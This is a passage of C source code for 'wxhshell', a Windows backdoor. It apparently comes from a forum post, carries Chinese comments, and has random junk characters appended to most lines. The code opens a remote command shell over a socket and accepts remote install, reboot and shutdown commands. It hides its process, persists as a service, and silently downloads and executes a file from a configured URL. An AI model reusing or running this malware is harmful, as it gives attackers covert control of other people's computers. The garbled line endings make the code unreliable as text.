    break; :Wd@Qy?;  
  } 5HW'nhE  
  // 安装 <g{d >j  
  case 'i': { ;hJz'&UWQ  
    if(Install()) P] qL&_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \CZD.2p#&  
    else Yjh02wo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =4:]V\o):'  
    break; b' fcWp0  
    } Ks\\2$Cm7  
  // 卸载 .5GGZfJ]  
  case 'r': { |,WP)  
    if(Uninstall()) ,*d<hBGbh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {*AYhZ  
    else j5bp)U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "|<U`3y6  
    break; {# Vp`ji  
    } G^qt@,n$;  
  // 显示 wxhshell 所在路径 XywsjeI4  
  case 'p': { l1ViUY&Z  
    char svExeFile[MAX_PATH]; ^#)]ICV  
    strcpy(svExeFile,"\n\r"); tQmuok4"d  
      strcat(svExeFile,ExeFile); 7s}E q~  
        send(wsh,svExeFile,strlen(svExeFile),0); GfL: 0  
    break; .[C@p`DZ  
    } NRDXWscb  
  // 重启 -~WDv[ [  
  case 'b': { o ^Ro 54i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,HtX D~N  
    if(Boot(REBOOT)) tqwAS)v=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b+e9Pi*\  
    else { USJk *  
    closesocket(wsh); ((mR' A|`  
    ExitThread(0); `tEW.s%Y(6  
    } ?[c{pb ,|  
    break; F$te5 ` a  
    } (KnU-E]L  
  // 关机 _tR?WmNH=  
  case 'd': { *`~]XM@H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pMLTXqL  
    if(Boot(SHUTDOWN)) l$g \t]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =a!_H=+4  
    else { \<W/Z.}/  
    closesocket(wsh); F6gU9=F1<  
    ExitThread(0); 'QC'*Hl  
    } 87yZd8+)  
    break; in#lpDa[  
    } M992XXd  
  // 获取shell )h`8</#m{  
  case 's': { MWJ}  
    CmdShell(wsh); e^yfoE<7  
    closesocket(wsh); b&2 N7%  
    ExitThread(0); L^x h5{  
    break; w,eW?b  
  } Y>SpV_H%  
  // 退出 w5* Z\t5  
  case 'x': { 7,"y!\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H_>9'(  
    CloseIt(wsh); |}isSCt  
    break; v?(z4oOD/>  
    } (DY&{vudF  
  // 离开 ]\(Ho  
  case 'q': { \IO<V9^L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AfvIzsT0  
    closesocket(wsh); \%|%C  
    WSACleanup(); sMgRpem;  
    exit(1); #&K?N  
    break; Ox9M![fC  
        } UOn:@Qn  
  } e3,@prr  
  } `CY c>n"  
WYd9p;k  
  // 提示信息 r2T$ ;m.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vq:?a  
} W?<<al*  
  } -1}&\=8M  
+,T z +!  
  return; >9<YQ(  
} B ,U|V  
9Xh1i`.D  
// shell模块句柄 ;*njS1@  
int CmdShell(SOCKET sock) uP$C2glyz  
{ rVZlv3  
STARTUPINFO si; tP4z#0r2  
ZeroMemory(&si,sizeof(si)); 9xaieR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; REWW(.3o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;L[N.ZY!  
PROCESS_INFORMATION ProcessInfo; Q#zU0K*^  
char cmdline[]="cmd"; ^X ~S}MX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "P yG;N!W  
  return 0;  wWQt  
} 1xjWD30  
NK6 ~qWsu  
// 自身启动模式 zx7A}rs3oX  
int StartFromService(void) PwU<RKAE  
{ jM: |%o  
typedef struct L [&|<<c  
{ \1<8'at  
  DWORD ExitStatus; /<1zzeHRSD  
  DWORD PebBaseAddress; +h@ZnFp3  
  DWORD AffinityMask; 'Lh nl3  
  DWORD BasePriority; 6'Q*SO;1gh  
  ULONG UniqueProcessId; lQ&J2H<w  
  ULONG InheritedFromUniqueProcessId; &Gs/#2XQ  
}   PROCESS_BASIC_INFORMATION; ~rlPS#]o  
a%r(F  
PROCNTQSIP NtQueryInformationProcess; 1>L8EImx]V  
Dg*'n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kK=f@l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mcTC'. 9  
E8L\3V4  
  HANDLE             hProcess; lUd4`r"  
  PROCESS_BASIC_INFORMATION pbi; Qt>Bvu Q  
$kccM& B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )v\ A8)[  
  if(NULL == hInst ) return 0; 'm0_pM1:D  
NZz^*Ela  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hWi2S!*Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m-]F]c=)w<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p ^ ONJL  
o_a'<7\#i  
  if (!NtQueryInformationProcess) return 0; |k#EYf#Y  
pgPm0+N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S 9|^VU  
  if(!hProcess) return 0; Mavid kS  
\%_sL#?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b%7zu}F  
b9VI(s>  
  CloseHandle(hProcess); }Z)YK}_1  
Q w)U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w5=<}1`St  
if(hProcess==NULL) return 0; )JY#8,{w  
d2fiPI7lg  
HMODULE hMod; oiOu169]  
char procName[255]; iUq_vQ@} }  
unsigned long cbNeeded; @H}{?-XyA  
5Gm8U"UR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jT`u!CwdT  
U/ax`_  
  CloseHandle(hProcess); pnUL+UYeM  
 PZj}]d `  
if(strstr(procName,"services")) return 1; // 以服务启动 5w5"rcV  
0E9 lv"3o  
  return 0; // 注册表启动 ,/Q`gRBh"  
} hqa6aYY x  
<5zr|BTF]F  
// 主模块 5?.!A 'zb  
int StartWxhshell(LPSTR lpCmdLine) P|ftEF  
{ &FG0v<f5Pv  
  SOCKET wsl; 9Y?``QBN  
BOOL val=TRUE; 5 %+epzy  
  int port=0; E {UhM q7  
  struct sockaddr_in door; .  LeS-  
2 ,krVb?<  
  if(wscfg.ws_autoins) Install(); ?*6Q ;.f<  
ni6zo~+W]  
port=atoi(lpCmdLine); }(oWXwFb&W  
N'0nt]&a  
if(port<=0) port=wscfg.ws_port; \H 5t-w=  
8%p+:6kP5  
  WSADATA data; ),H1z`c&I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E:;MI{;7  
5=  V29  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SNf~%B?`L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &yI>A1  
  door.sin_family = AF_INET; Oj8D+sC{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $`P]%I}  
  door.sin_port = htons(port); j Q8 T  
y5XFJj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^4xl4nbx  
closesocket(wsl); U+aiH U9  
return 1; sGE %zCB  
} OW#G{#.6R  
";^_[n  
  if(listen(wsl,2) == INVALID_SOCKET) { 7Rd(,eWE@  
closesocket(wsl); qDgy7kkQ  
return 1; \eAV: qV  
} J!">L+Zcx  
  Wxhshell(wsl); js!C`]1  
  WSACleanup(); $01~G?:]`  
9*XT|B  
return 0; ilZQ/hOBH  
{asq[;]  
} ` l %,4qR  
{REGoe=W%  
// 以NT服务方式启动 >h.HW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9P*f  
{ UzW]kY[A<  
DWORD   status = 0; =CO'LyG  
  DWORD   specificError = 0xfffffff; j%}9tM6[  
M"-.D;sa1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f1 XM_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OGO\u#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3QF[@8EH{  
  serviceStatus.dwWin32ExitCode     = 0; &8I*N6p:%/  
  serviceStatus.dwServiceSpecificExitCode = 0; _C19eW'  
  serviceStatus.dwCheckPoint       = 0; i~)EU F  
  serviceStatus.dwWaitHint       = 0; d^`; tD  
C=2DxdZG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bf.yA:~U  
  if (hServiceStatusHandle==0) return; nWh f  
hZWkw{c  
status = GetLastError(); eU.C<Tv:8  
  if (status!=NO_ERROR) 2B5Ez,'#x  
{ x:h)\%Dg<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c2L\m*^o  
    serviceStatus.dwCheckPoint       = 0; !#W3Q  
    serviceStatus.dwWaitHint       = 0; dp4vybJ  
    serviceStatus.dwWin32ExitCode     = status; /%)(Uz  
    serviceStatus.dwServiceSpecificExitCode = specificError; vP\6=71Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); / %iS\R%ca  
    return; riRG9c |  
  } 7r2p+LP[  
#w8.aNU+]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5 0a';!H  
  serviceStatus.dwCheckPoint       = 0; =(~ZmB\  
  serviceStatus.dwWaitHint       = 0; K /%5\h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b$- g"F  
} b5ul|p  
J*m7 d4^  
// 处理NT服务事件,比如:启动、停止 &wN}<G e6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r%NzKPW'  
{ M#Q"h5l  
switch(fdwControl) wWSE[S$V  
{ K3h"oVn  
case SERVICE_CONTROL_STOP: y\[q2M<  
  serviceStatus.dwWin32ExitCode = 0; ?b93! Q1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nB]mj _)R^  
  serviceStatus.dwCheckPoint   = 0; 87m`K Str7  
  serviceStatus.dwWaitHint     = 0; Wtp=1  
  { #%L_wJB-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o/[Ks;l  
  } T_#8i^;D  
  return; ):A.A,skf  
case SERVICE_CONTROL_PAUSE: _;:_ !`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [;o>q;75Jz  
  break; N vTp1kI]  
case SERVICE_CONTROL_CONTINUE: G:` So  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KC%&or  
  break; CrG!8}  
case SERVICE_CONTROL_INTERROGATE: D&pX0  
  break; *SlWA)9 Y  
}; D-O{/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (cV1Pmn  
} -Owb@Nw  
P# U|  
// 标准应用程序主函数 lHHx D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) px(~ZZB"  
{ Lr(JnS  
="P FCxi  
// 获取操作系统版本 PO^#G @  
OsIsNt=GetOsVer(); (ak&>pk;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wg<o%6`  
<I0om(P  
  // 从命令行安装 E*kZGHA  
  if(strpbrk(lpCmdLine,"iI")) Install(); DZA '0-  
5 +j):_  
  // 下载执行文件 &JD^\+7U:  
if(wscfg.ws_downexe) { Qz_4Ms<o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s OLjT34  
  WinExec(wscfg.ws_filenam,SW_HIDE); UIU6rilB  
} 06v'!M  
> %slzr  
if(!OsIsNt) { }o\} qu*  
// 如果时win9x,隐藏进程并且设置为注册表启动 6Q{OM:L/;.  
HideProc(); mS49l  
StartWxhshell(lpCmdLine); HiD%BL>%  
} $BG]is,&5  
else f zL5C2d  
  if(StartFromService()) = C/F26=|  
  // 以服务方式启动 WM4,\$  
  StartServiceCtrlDispatcher(DispatchTable); B}K<L\S  
else J,s:CBCGL  
  // 普通方式启动 FMzG6nrdBN  
  StartWxhshell(lpCmdLine); 6&L;Sw#Dg  
KTAQ6k  
return 0; w'7J`n: {]  
}
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只看该作者 1 发表于: 2006-10-10
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